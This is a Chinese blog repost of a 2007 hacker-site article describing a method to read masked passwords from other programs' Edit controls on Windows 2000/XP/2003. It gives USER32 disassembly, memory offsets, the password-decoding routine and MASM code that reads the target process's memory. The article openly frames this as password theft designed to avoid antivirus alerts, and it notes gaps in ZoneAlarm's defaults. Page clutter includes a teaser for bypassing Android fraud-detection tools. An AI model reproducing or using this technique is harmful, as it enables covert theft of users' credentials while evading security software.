Edit控件密码窗口的秘密--一种全新的通用密码记录技术

abaqus应力值导出并进行后处理(同一节点多个应力值如何处理?) Abaqus应力导出: ‘Tools’--- Probe values 在Probe Values里面可以选择需要导出的信息,比如‘Nodes’或者‘Elements’ 如果需要导出多个应力值或者其他信息可以选择‘Components’这个选项。 选择‘Selected’只输出一个正应力S33(对应截图中的) 如果是‘All Direct’,则是输出6个正应力S11, S22, S33, S12, S13, S23 ‘All Principals’输出三个正应力 在输出... 阅读详情

Author: czy
Date: 2007-08-09 (pub)
http://www.ph4nt0m.org

*目前的各类密码记录技术*

目前各类密码记录程序多如牛毛,但实现原理无非有以下六个:
一:调用CreateRemoteThread函数远程DLL或代码注入.
二:调用SetWindowsHookEx安装键盘钩子记录按键,或是键盘驱动记录按键.(注五)
三:伪造登陆界面.
四:登录信息在网络传输过程中被嗅探.
五:分析目标程序流层,文件补丁技术(注一).
六:分析目标程序流层,搜索并读取存放在内存中(比如:全局变量)的密码.

由于后四个技术都要对目标程序进行专门的分析所以更多的用在专用游戏盗号程序中.这样目前通用的获取目标主机各类程序登录密码的技术还是紧紧局限于前两个.

*两大主流密码记录技术的局限性*

对于键盘记录技术由于用户可能会不按顺序输入密码所以正确率有限,要是安装键盘驱动还要Admin权限同时更难以区分用户是输密码还是其它输入(在驱动下可没有GetActiveWindow函数呵呵).
对于第一种技术前面所说的问题都不存在,并且用各种语言编写的源代码广为流传,所以水平高一点点的黑客都会使用,但也正因为这个远线程注入技术实在太流 行,所以很多杀毒软件一但发现有程序调用了CreateRemoteThread这个API就会提示并拦截(比如江民公司的"木马一扫光").同样安装键 盘钩子比如调用SetWindowsHookEx有些杀毒软件也会提示.
难道就没有通用性相对较好,记录正确率高,不容易被杀毒软件查杀的技术了吗?请看下文.

*目前的思路*

对于WINDOWS程序中的密码窗口通常是具有ES_PASSWORD风格的EDIT控件(通常输入内容显示为*号),在WINDOWS 98下要记录密码,只用给这种窗体发送一个WM_GETTEXT消息就可以了没有任何限制,在WIN2000以后的操作系统中,微软也意识到这样太不安 全,所以限制为进程只可以给自已的具有ES_PASSWORD风格的EDIT控件窗口发送WM_GETTEXT消息并正确得到窗口内容(注二).这样也就 很好理解为什么目前的两大主流技术要么是建一个远程线程,要么HOOK键盘了.现在的程序和WIN98时代很明显的区别就是都要多一个DLL.
(直接代码注入的可以不要DLL但还是会调用可能引起杀毒软件提示的API函数)

*新的思路*

在EDIT控件输入字符以后,这些字符当然是被记录在EDIT控件所在的进程可以仿问的内存中的.可不可以直接从内存中读取内容呢?
也就是写了一个自已的不受微软限制的GetWindowText函数,或是叫GetWindowPass函数.读内存可以调用OpenProcess和ReadProcessMemory
或是集成这两个函数的Toolhelp32ReadProcessMemory.怎么读的问题解决了,现在就是读哪个位置的问题.另外OpenProcess
不代写内存的参数一般杀毒软件不会提示(注三).


*读哪儿?*

解决这个问题首先我们还是看看微软是怎么读的吧.大家都知道要取得EDIT控件的内容可以发WM_GETTEXT消息或是调用USER32.DLL中
的GetWindowTextA函数.打开WIN32DASM和SOFTICE.一路跟踪后总算基本明白了其中的原理,重要代码反汇编如下:共有三部分
(USER32.DLL 5.1.2600.2180,XPSP2 PRO CN)

第一部分:
GetWindowText函数执行后很快就会调用如下代码:重要的地方会有注解:)


:77D184D0 8BFF                    mov edi, edi
:77D184D2 
55                      push ebp
:77D184D3 8BEC                    mov ebp, esp
:77D184D5 
51                      push ecx
:77D184D6 
53                      push ebx
:77D184D7 
56                      push esi
:77D184D8 
57                      push edi
:77D184D9 8855FC                  mov 
byte ptr [ebp-04], dl
:77D184DC 8BF9                    mov edi, ecx                      ;edi中为密码窗口句柄
:77D184DE 33F6                    xor esi, esi
:77D184E0 64A118000000            mov eax, dword ptr fs:[
00000018]  ;得到当前线程的TEB
:77D184E6 8B0D6000D777            mov ecx, dword ptr [77D70060]
:77D184EC 8D98CC060000            lea ebx, dword ptr [eax
+000006CC] ;当前线程TEB的基地址+6CCH放入EBX中
:77D184F2 8BC7                    mov eax, edi
:77D184F4 25FFFF0000              and eax, 0000FFFF                 ;eax中为密码窗口句柄的低16位
:77D184F9 3B4108                  cmp eax, dword ptr [ecx
+08]
:77D184FC 734D                    jnb 77D1854B
:77D184FE 8B0D8400D777            mov ecx, dword ptr [77D70084]     ;77D70084是USER32.DLL中的一个全局变量的地址,重要
!
:77D18504 8D0440                  lea eax, dword ptr [eax
+2*eax]
:77D18507 8D0C81                  lea ecx, dword ptr [ecx
+4*eax]    ;ecx为(密码窗口句柄低16位x12)+一个未知全局变量
--------------------------无关代码省略之-------------
:77D1852F 8B31                    mov esi, dword ptr [ecx]          ;ecx的值没变,取里面的值给esi
:77D18531 0F8471A40100            je 77D329A8
:77D18537 3B30                    cmp esi, dword ptr [eax]
:77D18539 0F8269A40100            jb 77D329A8
:77D1853F 3B7004                  cmp esi, dword ptr [eax
+04]
:77D18542 0F8360A40100            jnb 77D329A8
:77D18548 2B731C                  sub esi, dword ptr [ebx
+1C]       
;刚才的值
-RealClientID,EBX+1C接合上面的代码看就是当前线程TEB的基地址+6CCH+1CH,取得的值也就是当前线程的RealClientID


第二部分
经过一些跳转后会调用EditWndProc,其中的关键代码如下:

Exported fn(): EditWndProc - Ord:00C1h ;函数入口
:77D2C538 8BFF                    mov edi, edi
:77D2C53A 
55                      push ebp
:77D2C53B 8BEC                    mov ebp, esp
:77D2C53D 83EC1C                  sub esp, 0000001C
:77D2C540 8B550C                  mov edx, dword ptr [ebp
+0C]        ;如果EDX为0Dh说明是取得窗口的内容
:77D2C543 
53                      push ebx
:77D2C544 
56                      push esi
:77D2C545 
57                      push edi
:77D2C546 8B7D08                  mov edi, dword ptr [ebp
+08]
:77D2C549 8B07                    mov eax, dword ptr [edi]
:77D2C54B 8BB7A4000000            mov esi, dword ptr [edi
+000000A4]  ;这儿的EDI和前面代码最后的ESI是同一个值,重要!
:77D2C551 33C9                    xor ecx, ecx                       ;计算后ESI就是一个指向窗口内容结构的指针
:77D2C553 8945F4                  mov dword ptr [ebp
-0C], eax
:77D2C556 
41                      inc ecx
---------------------无关代码省略之---------------
:77D2C5B9 
51                      push ecx
:77D2C5BA FF7514                  push [ebp
+14]
:77D2C5BD FF7510                  push [ebp
+10]
:77D2C5C0 
56                      push esi
:77D2C5C1 E88E040000              call 77D2CA54   ;得到窗口内容


第三部分:
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:77D2C665(C)
|
:77D41496 837E0C00                cmp dword ptr [esi
+0C], 00000000
:77D4149A 
7427                    je 77D414C3
:77D4149C 668B466A                mov ax, word ptr [esi
+6A]
:77D414A0 660FAF460C              imul ax, word ptr [esi
+0C]          ;esi和上面的一样指向窗口结构,ESI+0C是取得密码长度
:77D414A5 668945FA                mov word ptr [ebp
-06], ax
:77D414A9 668945F8                mov word ptr [ebp
-08], ax
:77D414AD 8D45F8                  lea eax, dword ptr [ebp
-08]
:77D414B0 
50                      push eax                            
:77D414B1 33C0                    xor eax, eax
:77D414B3 8A86EC000000            mov al, 
byte ptr [esi+000000EC]     ;ESI+EC解码密码的变量,总是一个字节
:77D414B9 897DFC                  mov dword ptr [ebp
-04], edi
:77D414BC 
50                      push eax

* Reference To: ntdll.RtlRunDecodeUnicodeString, Ord:0304h
                                  
|
:77D414BD FF154410D177            Call dword ptr [77D11044]           ;对该函数分析可知,esi
+00存放编码后的密码的地址


*分析GetWindowTextA后的总结*

分析流层可知道GetWindowTextA函数要取得一个EDIT控件的内容要得到如下参数:
1.窗口句柄,线程,进程ID,2.窗口所在的线程的TEB(线程环境块),3.窗口所在的进程加载的USER32.DLL中的一个未知的全局变量.
我们的进程可不可以获得这三个参数呢?
对于句柄可以使用的函数有GetWindow,WindowFromPoint,EnumWindows等,由句柄得到进程,线程ID调用GetWindowThreadProcessId
对于窗口所在的线程的TEB,我查阅NATIVE API手册后找到了ZwQueryInformationThread,当然先要调用OpenThread得到线程句柄
对于第三个参数,它的值一般总是为00XX0000,它其实就是进程的GUI TABLE在R3层的映射的基地址.GUI TABLE也就是用户对象句柄表,
它里面的值简单的说就是一些指向窗体信息结构的指针.


*获得GUI TABLE在R3成层的映射基地址*

我的系统中,记录这个地址的变量的地址是77D70084,在SOFTICE中对这个地址下BPM写断点,发现每个进程加载USER32.DLL的时候一般是要
调用这个DLL中的UserClientDllInitialize,在这个函数的如下代码处
:77D21020 8DB5A0FAFFFF            lea esi, dword ptr [ebp+FFFFFAA0]
:77D21026 BF8000D777              mov edi, 77D70080     ;注意不是77D70084
:77D2102B F3                      repz
:77D2102C A5                      movsd


会对这个变量赋初值.然后打开W32DASM,查找77d70084和77d70080,结果发现了一个UNDOCUMENT API:UserRegisterWowHandlers!
分析这个函数的最后面的代码可以看出这个函数的返回值就是记录GUI TABLE在R3成层的映射基地址的变量的地址-4.代码如下:
成层的映射基地址的变量的地址-4.代码如下:
:77D535F5 B88000D777              mov eax, 77D70080
:77D535FA 5D                      pop ebp
:77D535FB C20800                  ret 
0008

到此理论上要实现直接内存读取密码应该没有问题了,下面看看具体的算法是什么:)


*把密码算出来*

第一步:
取窗口句柄的低16位然后乘以12,我们设结果为HwndIndex
第二步:
得到GUI TABLE在R3成层的映射基地址,我们设这个地址为GuiTableBase
第三步:GuiTableBase+HwndIndex,然后取里面的值得到PHwndStruct1
第四步:
TEB基地址+6cch+1ch,取里面的值,得到RealClientID
第五步:
PHwndStruct1-RealClientID得到PHwndStruct2
第六步:
PHwndStruct2+A4H,取里面的值得到真正的记录窗体信息的结构的地址设结果为PRealWinStruct
第七步:
PRealWinStruct+00h里面的值是编码后的密码的地址
PRealWinStruct+0ch里面值是密码长度我们叫PASSLEN
PRealWinStruct+ech里面值是解码要用到的一个变量我们叫ENCODE.
第八步:
解码算法,通过对RtlRunDecodeUnicodeString分析后解码算法如下:
    MOV EDX,ENCODE
        mov cl,dl
        mov edi,PASSLEN
@@nextpass:        
        CMP EDI,
1
        JBE @@firstpass
        mov eax,esi       ;esi指向编码后的密码的第一个字节.
        add eax,edi
        mov dl,[eax
-2]
        xor dl,[eax
-1]
        xor dl,cl ;重要
        mov [eax
-1],dl
        dec edi
        jmp @@nextpass
@@firstpass:
        or  cl,43h 
        mov edx,offset buffer1
        xor [edx],cl 

注意通过对多个2K,XP,2003系统的分析前面五步以及八步始终没有变化,第六步WIN2000是+98h
2003是+a0h,第七步,2000和2003都是+0CH,XP是+14H或+0ch

*具体编码*

为了证明思路的正确性,专门写了一个WINDOWS2K/XP/2003下看星号密码的小程序,当然完全不用远程注入线程了.
下面把关键实现代码分析一下:

第一步:得到密码密窗口句柄:

                    invoke    GetCursorPos,addr @stPoint             ;得到当前光标位置
            invoke    WindowFromPoint,@stPoint.x,@stPoint.y  ;得到光标下窗口的句柄            
            mov    @hWindow,eax
            .
if    eax !=    NULL
                invoke GetWindowLong,@hWindow,GWL_STYLE     ;得到窗口风格
                .
if (eax & ES_PASSWORD)                     ;是密码框吗?
                    invoke GetClassName,@hWindow,offset classname,
64   ;如果是得到控件类名
                    invoke lstrcmpi,offset classname,offset editname   
                    .
if eax == 0                                       ;如果类名是Edit,那么调用ViewPass函数读密码
                    mov eax,@hWindow
                    mov WINHAND,eax
                    invoke ViewPass
                    .endif                    
                    
                .endif
            .endif


第二步:判断系统:
LOCAL verinfo:OSVERSIONINFO
    
    mov     verinfo.dwOSVersionInfoSize,
sizeof OSVERSIONINFO
    invoke  GetVersionEx,addr verinfo
    .
if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT && verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 1)
        mov eax,
1 ;xp
        mov passoffset,0A4H
        mov lenoffset ,14H


程序只取WIN2000/XP/2003系统的密码,同时根据不同的系统设置偏移.经过测试
同一种系统偏移没有变化,所以通用性应该很好.


第三步:得到密码窗口的线程和进程ID
invoke GetWindowThreadProcessId,eBx,addr parid
MOV WINTHREADID,EAX ;返回值为线程ID
第一个参数为窗口句柄,第二个参数为得到进程ID


第四步:根据窗口所在的进程的进程号得到这个进程加载的USER32.DLL的基地址

invoke GetUser32Base,parid
返回值就是基地址:)

GetUser32Base  proc uses ebx esi edi remoteproid
            LOCAL hSnapshot:dword
            LOCAL modinfo:MODULEENTRY32
            LOCAL modname[
256]:byte

        mov        modinfo.dwSize,sizeof MODULEENTRY32
        invoke  CreateToolhelp32Snapshot,TH32CS_SNAPMODULE,remoteproid ;第一个参数表示例举模块
        mov     hSnapshot,eax
        invoke  Module32First,hSnapshot,addr modinfo ;结果放在modinfo结构中,modBaseAddr成员记录
        .
while eax                                   ;相应模块加载的基地址
        lea     ecx,modinfo.szModule
        invoke  lstrcmpi,offset user32dll,ecx  ;比较模块名是否为user32.dll
        .
if     eax == 0
                mov eax,modinfo.modBaseAddr
                ret
        .endif
        invoke  Module32Next,hSnapshot,addr modinfo
        .endw
        invoke    CloseHandle,hSnapshot
        
                ret
GetUser32Base   endp 


第五步:
根据窗口所在的线程得到该线程的TEB地址
        invoke  OpenThread,THREAD_QUERY_INFORMATION,FALSE,WINTHREADID ;线程ID
        .
if    eax != NULL
                mov     THREADHAND,EAX
                invoke    LoadLibrary,offset Ntdll
                invoke    GetProcAddress,eax,offset _ZwQueryInformationThread ;调用NAVITE API
                mov     apiquerthread,eax                 
                push    
0
                push    sizeof THREAD_BASIC_INFORMATION
                lea     ecx,threadinfo
                push    ecx
                push    ThreadBasicInformation
                push    THREADHAND
                call    apiquerthread
                .IF EAX 
== STATUS_SUCCESS
                    lea ecx,threadinfo
                    mov esi,[ecx
+4] ;得到TEB了,通常为7FFDX000
                .ELSE
                    invoke MessageBox,
0,offset errgetteb,offset vp,1
                    ret
                .ENDIF
        .
else
            invoke MessageBox,
0,offset erropenthread,offset vp,1
            ret
        .endif


第六步:得到TEB中的RealClientID,注意这儿是读目标程序的内存,不是自已的了.
        add esi,6cch  ;看第五步,ESI中为目标线程的TEB基地址,如果是程序自已获得自已的TEB        
        add esi,1ch   ;只用MOV EAX,FS:[
18]就行了,也就是文章中间反汇编看到的那样.
        invoke Toolhelp32ReadProcessMemory,parid,esi,offset buffer1,
4,NULL
;第一个参数为密码所在窗口进程PID,第二个是读的起始地址,第三个是放在哪儿,第四是读长度,第五实际读取
        .
if eax == TRUE ;为真说明读成功
               mov eax,offset buffer1
               mov eax,[eax]
               mov edi,eax
               .
if eax ==NULL
                invoke MessageBox,
0,offset errnorealcid,offset vp,1
               ret
               .endif
        .endif


第七步:得到目标进程R3层的GUI TABLE基地址

这一步应该是这个程序最关键的部分,希望大家认真阅读.先介绍一下我的思路:
我们已经知道这个基地址存放在目标程序加载的USER32.DLL的全局变量中.并且这个DLL中的UserRegisterWowHandlers
函数的返回值就是这个全局变量的地址.
首先想到的办法是直接调用这个函数,但是通过对这个函数的反汇编分析后发现该函数的参数难以正确构造特别是
在WIN2003系统下该函数会比较严格的检查参数,所以就放弃了直接调用该函数得到基地址的办法.
通过对不同系统的这个函数反汇编我们可以很容易的找到共同点:
2K系统:(5.0.2195.7032)
:
77E3565D B880D2E477              mov eax, 77E4D280
:77E35662 C20800                  ret 
0008

XP系统:(
5.1.2600.2180)
:77D535F5 B88000D777              mov eax, 77D70080
:77D535FA 5D                      pop ebp  
:77D535FB C20800                  ret 
0008

2003系统:(
5.2.3790.1830)
:77E514D9 B8C024E777              mov eax, 77E724C0
:77E514DE C9                      leave
:77E514DF C2080000                ret 
0008


分析共同点以后,我们就可以写出相应的算法.我的算法是:
1.得到我的进程自身的USER32.DLL的基地址,我们设为user32base(其实也就是LoadLibrary加载这个DLL的返回值)
2.调用GetProcAddress得到UserRegisterWowHandlers的入口地址.
3.从入口地址处读1000个字节(这个函数功能其实很简单1000个字节足够了)
4.在这1000个字节中,我使用了LDE32库的汇编指令长度判断函数(注四).给出指令的首地址可以准确的计算出指令的长度.
这样我先找长度为3的指令,同时指令内容要为C20800(UserRegisterWowHandlers只有两个参数所以用这种方法找这个指令正确率应该很高)
在查找的过程中我用一个局部变量记录每一个指令的长度.在找到C20800后我再倒过去找指令长度为5,同时指令的第一个字节为B8
(也就是mov eax,xxxxxxxx指令)
5.在找到mov eax,xxxxxxxx指令后,取这个地址往后4个字节的值,这个值(我们设为varaddr)通常就是记录GUI TABLE基地址变量的地址
6.分析USER32.DLL的PE文件结构,找出这个DLL的全局变量的起始地址(也就是.data段的虚拟偏移(VirtualAddress)+USER32.DLL的加载基地址).
7.用第5步找到的varaddr-(user32base+VirtualAddress),得到的值就是这个变量在USER32.DLL的全局变量中的相对偏移,我们记为VarOffset,
如果这个值>0,同时小于.data段的VirtualSize那么说明成功.如果不成功我们再跳到第5步再从后往前重新找mov eax,xxxxxxxx指令.
8.通过前面第四步(根据窗口所在的进程的进程号得到这个进程加载的USER32.DLL的基地址)+VirtualAddress+VarOffset我们就得到了目标
进程中这个变量的地址,最后再调用Toolhelp32ReadProcessMemory,就可以读出GUI TABLE的基地址了.

(注:由于不能找到直接调用UserRegisterWowHandlers的办法,所以第七步从原理上看并不能保证有100%的成功率,但通过我对多个不同系统
不同版本的测试,目前的这个算法都还是通用)

第八步:最后其实就是把*把密码算出来*这一节的算法实现就0K了.不过要注意的是密码可能是Unicode格式的.


*最后的总结*

所有的分析和技术细节都在上面了,这篇文章要用到PE文件格式,NAVITE API,反汇编等知识如有不懂可以参考网上的相关的资料.





注一:文件补丁技术简单说就是分析目标程序的流层,找出程序本身获得密码框密码的代码,然后在这个代码后面加上一个跳转
跳到我们新增加的PE节中,在这个节中的代码就是取得密码并记录到文件中,然后再跳回程序原来的流层.

注二:其实要取得密码也可以这样做:发送EW_SETPASSWORDCHAR消息,取消EDIT控件的密码风格,然后再调用GetWindowText函数取密码
最后再恢复密码框属性,不过对于这种办法,用户很可能会发现异常.
使用Delphi/BCB工具中的TEDIT类,可以直接发消息,这时微软的限制完全不起作用.

注三:大多数版本的ZoneAlarm是只防止OpenProcess打开系统进程以及IE的进程句柄,对于OpenProcess第三方程序默认中级安全级别下不拦.

注四:程序中使用的LDE32库,是国外的程序员开发的一个专门计算汇编指令长度的小工具,网上有源代码可下载.
该库文件编译后只有600多个字节.

注五:还有一种按键记录技术是用一个死循环不停的调用GetAsyncKeyState和GetKeyState判断同一时间下每个按键的当前状态.
该方法目前也很难被安全软件发现但还是有记录不准确,不能记录不按顺序输入的密码(当然也不能记中文)等问题.
Windows 11 安装 uv:手动下载、配置国内源 本教程详细介绍了在 Windows 11 系统下安装并配置 Python 包管理器 uv 的完整流程,包括配置环境变量 PATH、设置清华 PyPI 镜像源,以及创建收据文件以支持未来更新。适用于因网络限制无法通过官方脚本自动安装的用户,操作步骤清晰,配有图文指引,帮助读者高效完成本地部署。 阅读详情

相关推荐

Fat-Tree Topo Architecture(胖树拓扑结构)

背景 最近在搜索关于Fat-Tree的相关资料时,发现网上内容比较少,很多博客是相互转载的,拓扑结构图也加载不出来,使得对Fat-Tree的理解过于抽象。 实践 传统数据中心采用多层级的树形结构,这种结构针对客户端/服务器(C/S)模式能有较好的效果。树形结构包括单根树和多根树。多根数的根节点往往作为备份节点存在(我们以方格代表交换机)。 传统单根/多根拓扑结构有以下缺点:成本高,根部交换机必须要有足够大的带宽来满足下层服务器之间的通信;性能瓶颈,无法满足数据中心内部大规模的MapReduce和数据拷贝。

金色牛神的专栏 3万+

C/C++ 获取线程入口地址模块等

今天检测的特征是向 YY语音 里插入了一段自己的代码(创建了新的线程),而这个新的线程不在原有的模块内,所以思路就是遍历 YY.exe 这个进程中的所有线程,如果这个线程没有对应的模块,那么就说明这个线程是可疑的。大多数恶意代码为了隐藏自己的行踪都会附加到某个进程中,在这个进程内申请一块内存区域来存放它的代码,毕竟隐藏的再好,代码也要有的,不然你让 CPU 运行什么 …

微软技术分享 9799

无符号整数、带符号整数溢出问题

让我们详细讲解一下带符号整数溢出和无符号整数溢出问题中,符号标志位 (SF)、零标志位 (ZF) 和进位标志位 (CF) 的行为方式

weixin_49342084的博客 2090

ntdll

http://undocumented.ntinternals.net/index.html?page=UserMode%2FStructures%2FTHREAD_BASIC_INFORMATION.html

huanongying131的博客 775

Altium Designer许可证冲突?手把手教你用Windows防火墙彻底禁止AD联网(附详细截图)

本文详细介绍了如何通过Windows防火墙精准管控Altium Designer的网络权限,解决许可证冲突问题。通过配置入站和出站规则,彻底阻断AD的联网行为,提升软件运行效率。适用于需要稳定使用Altium Designer的工程师,附有详细截图和高级验证方法。

weixin_38170137的博客 424

用STM32F103C8T6和TB6612驱动模块,从零搭建一辆能避障循迹的智能小车(附完整代码)

本文详细介绍了如何使用STM32F103C8T6和TB6612驱动模块从零搭建一辆能避障循迹的智能小车。内容涵盖硬件选型、电路设计、底层驱动配置以及智能行为算法实现,并附有完整代码示例,帮助开发者快速掌握嵌入式开发的核心技术。

weixin_42641741的博客 447

查看进程是否被注入线程(不在系统模块)

有些进程被注入了某些恶意的线程(也可能不是恶意的) 首先我们拿到该进程的进程模块,用来对比进程中线程的模块是否在这里面 把这些模块放入到vector里面 便利该进程的所有线程获取模块的起始地址和大小,很快就可以得到伪装线程。 #pragma region 依赖 typedef enum _THREADINFOCLASS{ ThreadBasicInformation, ThreadTimes, ThreadPriority, ThreadBasePriori..

henuyl的博客 2055

图信号处理中的多尺度分析:图小波变换与图傅里叶变换的对比与应用

本文深入探讨了图信号处理中的多尺度分析方法,重点对比了图小波变换(GWT)与图傅里叶变换(GFT)的技术特点与应用场景。通过分析图的拓扑结构,GWT展现出强大的局部洞察力,适用于异常检测和社区发现;而GFT则擅长全局频率分析,适合趋势分析和信号去噪。文章结合实战案例,为读者提供了方法选型指南和前沿进展,帮助开发者在生物信息学、社交网络分析等领域高效应用这些技术。

weixin_30369041的博客 407

一种全新的通用密码记录技术

一种全新的通用密码记录技术 BY czy 目前的各类密码记录技术 目前各类密码记录程序多如牛毛,但实现原理无非有以下六个:一:调用CreateRemoteThread函数远程DLL或代码注入.二:调用SetWindowsHookEx安装键盘钩子记录按键,或是键盘驱动记录按键.(注五)三:伪造登陆界面.四:登录信息在网络传输过程中被嗅探.五:分析目标程序流层,文件补丁技术(注一).六:分析目标...

爱.NET 514

安卓风控对抗实战:如何用AOSP定制ROM绕过Momo、AIDA64等检测(从环境搭建到设备画像)

本文详细解析了如何通过定制AOSP ROM绕过Momo、AIDA64等安卓风控检测工具的设备指纹识别。从环境搭建到硬件参数修改,再到内核级特征混淆,提供了一套完整的底层对抗方案,显著提升设备伪装通过率。

weixin_30687051的博客 490

【2026华为OD新规机考】最新套题持续更新【完全原创题解 | 详细考点分类 | 不断更新题目 | 六种主流语言Py+Java+Cpp+C+Js+Go】

可上练习华子OD、大厂真题绿色聊天软件戳od1441了解算法冲刺训练(备注【优快云】否则不通过)

weixin_48157259的博客 511

网络靶场实战-反调试技术(下)

通过检测自身父进程来判定是否被调试,原理非常简单,我们的系统在运行程序的时候,绝大多数应用程序都是由explorer.exe这个父进程派生而来的子进程,也就是说如果没有被调试其得到的父进程就是explorer.exe的进程PID,而如果被调试则该进程的父进程PID就会变成调试器的PID值,通过对父进程的检测即可实现检测是否被调试的功能。需要注意的是,虽然使用 ThreadHideFromDebugger 可以增加程序的安全性,但它并不是绝对的安全措施,因为仍然存在其他方法可以绕过或检测到线程隐藏。

蛇矛实验室 1560

Python爬虫实战:携程/飞猪酒店信息爬取与动态价格分析

在当今数字化旅游时代,酒店预订平台的复杂筛选条件和动态定价机制为数据分析和价格监控带来了巨大挑战。本文将深入探讨如何使用最新的Python爬虫技术来抓取携程和飞猪平台的酒店信息,处理复杂的筛选条件,并解析动态价格数据。本文详细介绍了如何使用最新的Python爬虫技术来抓取携程和飞猪平台的酒店信息。通过结合httpxplaywrightparsel强大的反反爬虫能力:通过浏览器指纹伪装、请求签名、智能延迟等技术应对各种反爬措施高效的数据解析:使用CSS选择器和XPath精确提取所需信息灵活的数据存储。

2201_76125261的博客 414

Edit控件密码窗口的秘密--通用密码记录技术

<br />*目前的各类密码记录技术*<br />  目前各类密码记录程序多如牛毛,但实现原理无非有以下六个:<br />  一:调用CreateRemoteThread函数远程DLL或代码注入.<br />  二:调用SetWindowsHookEx安装键盘钩子记录按键,或是键盘驱动记录按键.(注五)<br />  三:伪造登陆界面.<br />  四:登录信息在网络传输过程中被嗅探.<br />  五:分析目标程序流层,文件补丁技术(注一).<br />  六:分析目标程序流层,搜索并读取存放在内存中(

I'm a hack---- 986

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

LobeHub UX 设计体系实战指南:四大设计价值观、交互原则与五模块执行清单(ux skill 全解)

本文是 LobeHub 仓库内 `ux` 技能规范([SKILL.md](https://link.gitcode.com/i/a0216dc377d22fe369f201d5124cc0fa) 及其五个 Check-list 参考模块)的完整导读。它以「用户可感知的交互行为」为对象,回答两个问题:LobeHub 的产品界面"应该让用户感觉如何"(设计价值观与交互原则),以及"如何逐项保证做到"(

gitblog_01012的博客 191

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

工作中使用到的单词(软件开发)

1.エイリアス   alias 别名 powershell使用 get-help 命令时,会得到与此命令 相关(别名)的命令 2.プロキシ proxy 代 理 3.プロモート   promote 促进,提升   开发的系统新功能上线发布,有时会使用到这个词,比如 STプロモート 还有使用リリース这个词的。比如STリリース。个人认为两者含义相同。 4.見逃し み................................................................

sun0322 6万+

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

Windows GDI句柄分析

我们知道,Windows 的GDI是一个单独的子系统,这个子系统中包含两个重要的东西是CSRSS进程和WIN32K驱动,由这两个模块实现所有的绘图操作,我们先看一下其中的核心之一就是WIN32K,这个模块加载的时候会调用。主要有一个好处就是Windows在应用层的时候就可以通过句柄找到GDI对象,而不需要切换到内核中,我们知道切换到内核是需要一定的资源消耗的,因此使用这种方式可以提升一定的速度。不同的进程,对应的GDI对象的句柄是一样的,因此GDI对象不同于内核对象,完全可以跨进程使用。

xsinlink的博客 1302

VC 根据线程句柄获得线程ID 根据线程句柄获得进程ID

/*头文件*/ #ifndef NT_SUCCESS #define NT_SUCCESS(x) ((x)>=0) #define STATUS_SUCCESS ((NTSTATUS)0) #endif typedef LONG NTSTATUS; typedef enum

SilenceNet的专栏 7268

进程内线程入口的探究

由于要写个检测功能,对于这块进行了下探究。 线程的常规启动有2种: 1、Createthread方式 ,纯win api的方法 2、_beginthreadex方式,这是VC中安全使用线程的方法 下面给出DEMO代码: #include #include unsigned int __stdcall DemoThread1(PVOID p){ while (1) { pri

IT男也疯狂 2436

遍历进程线程

typedef struct _CL_PROCESS_THREADINFO { LPVOID pvStartAddr; // 线程的起始地址 DWORD dwTid; // 线程Id WCHAR wszModuleName[MAX_PATH]; // 所属的模块路径 }CL_PROCESS_THREADINFO;  BOOL CLThread::QueryThreadInf

qq_25420503的专栏 1551

[转]Assembly Manifest 通俗简易手册

Assembly Manifest 通俗简易手册 恩,为了大家都能很方便的理解,我将尽量简单通俗地进行描述。 [现象] 对这个问题的研究是起源于这么一个现象:当你用VC++2005(或者其它.NET)写程序后,在自己的计算机上能毫无问题地运行,但是当把此exe文件拷贝到别人电脑上时,便不能运行了,大致的错误提示如下:应用程序配置不正确,请重新安装程序……或者是MSVCR80D.dll 没...

weixin_33859504的博客 941

使用 NtQuerySystemInformation 遍历进程信息

通过遍历系统进程信息,我们可以了解系统中运行的各种进程的详细信息,从而更好地进行系统管理和性能优化。本文介绍了一种通过调用 Windows 系统API来获取并遍历系统进程信息的技术,并提供了一段示例代码以帮助读者理解该技术的实现方法。

溡漪幽博客 3099

User32.dll里面的__Clientxxx函数

Win32k里面调用3环下的函数,最终都是通过KiUserCallbackDispatcher,调用__Client***实现,这些函数主要负责参数的处理等工作.             通过ida在user32.dll可以看到如下的列表(在我这里ida并不能识别对应的符号,只能在windbg看). .text:77D66274                           

赵文武的博客 955

DLL_Main实现对线程启动监控

废话不多直接上代码,懂得自然懂 BOOL WINAPI DllMain(HMODULE hInstance,DWORD fdwReason,PVOID pvReserved) { if (fdwReason==DLL_THREAD_ATTACH) { DWORD tid = GetCurrentThreadId(); HANDLE hThread = OpenThread(TH

IT男也疯狂 1173

汇编ring3下实现HOOK API

导读:   标 题:汇编ring3下实现HOOK API【原创】   作 者:非安全   时 间:2006-07-12,18:39   链 接:http://bbs.pediy.com/showthread.php?t=28895   汇编ring3下实现HOOK API(二次修改版)   【文章标题】汇编ring3下实现HOOK API   【文章作者】nohacks(非安全,hacke

yingfox的专栏 1264
上一篇: 在Ring3上实现文件碎甲(解锁)功能
下一篇: SafeSEH笔记
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值